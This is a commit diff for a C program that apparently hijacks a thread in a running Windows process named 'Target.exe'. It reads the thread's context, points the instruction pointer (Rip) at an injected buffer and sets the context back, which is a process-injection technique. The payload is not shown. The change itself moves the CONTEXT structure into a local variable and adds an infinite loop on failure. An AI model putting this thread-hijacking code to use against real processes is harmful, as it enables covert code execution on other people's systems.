@@ -41,7 +41,6 @@ typedef struct HijackData {
4141 HANDLE hProcess ; // 8
4242 HANDLE hThread ; // 8
4343 DWORD processId ; // 4
44- CONTEXT context ; // 1232
4544} t_HijackData ;
4645
4746static void InitHijackData (t_HijackData * data ) {
@@ -53,9 +52,6 @@ static void InitHijackData(t_HijackData *data) {
5352 data -> processId = 0 ;
5453 data -> hProcess = NULL ;
5554 data -> hThread = NULL ;
56-
57- ZeroMemory (& data -> context , sizeof (data -> context ));
58- data -> context .ContextFlags = CONTEXT_FULL ;
5955}
6056
6157static void CleanHijackData (t_HijackData * data ) {
@@ -177,6 +173,11 @@ static bool OpenTargetThread(t_HijackData *data) {
177173}
178174
179175static bool Hijack (const wchar_t * processName , t_HijackData * data ) {
176+ CONTEXT context ;
177+
178+ ZeroMemory (& context , sizeof (context ));
179+ context .ContextFlags = CONTEXT_FULL ;
180+
180181 if (!processName || !data ) {
181182 printf ("[ ERROR ] Enter a valid processName!" );
182183 return false;
@@ -193,7 +194,8 @@ static bool Hijack(const wchar_t *processName, t_HijackData *data) {
193194 return false;
194195 }
195196
196- if (!GetThreadContext (data -> hThread , & data -> context )) {
197+
198+ if (!GetThreadContext (data -> hThread , & context )) {
197199 printf ("[ ERROR ] Failed to get thread context: %lu" , GetLastError ());
198200 return false;
199201 }
@@ -223,9 +225,9 @@ static bool Hijack(const wchar_t *processName, t_HijackData *data) {
223225 return false;
224226 }
225227
226- data -> context .Rip = (uintptr_t )hijackBuffer ;
228+ context .Rip = (uintptr_t )hijackBuffer ;
227229
228- if (!SetThreadContext (data -> hThread , & data -> context )) {
230+ if (!SetThreadContext (data -> hThread , & context )) {
229231 printf ("[ ERROR ] Failed to set the hijacked context: %lu" , GetLastError ());
230232 return false;
231233 }
@@ -245,6 +247,7 @@ int main() {
245247
246248 if (!Hijack (L"Target.exe" , & data )) {
247249 CleanHijackData (& data );
250+ while (1 ) {}
248251 return 1 ;
249252 }
250253
0 commit comments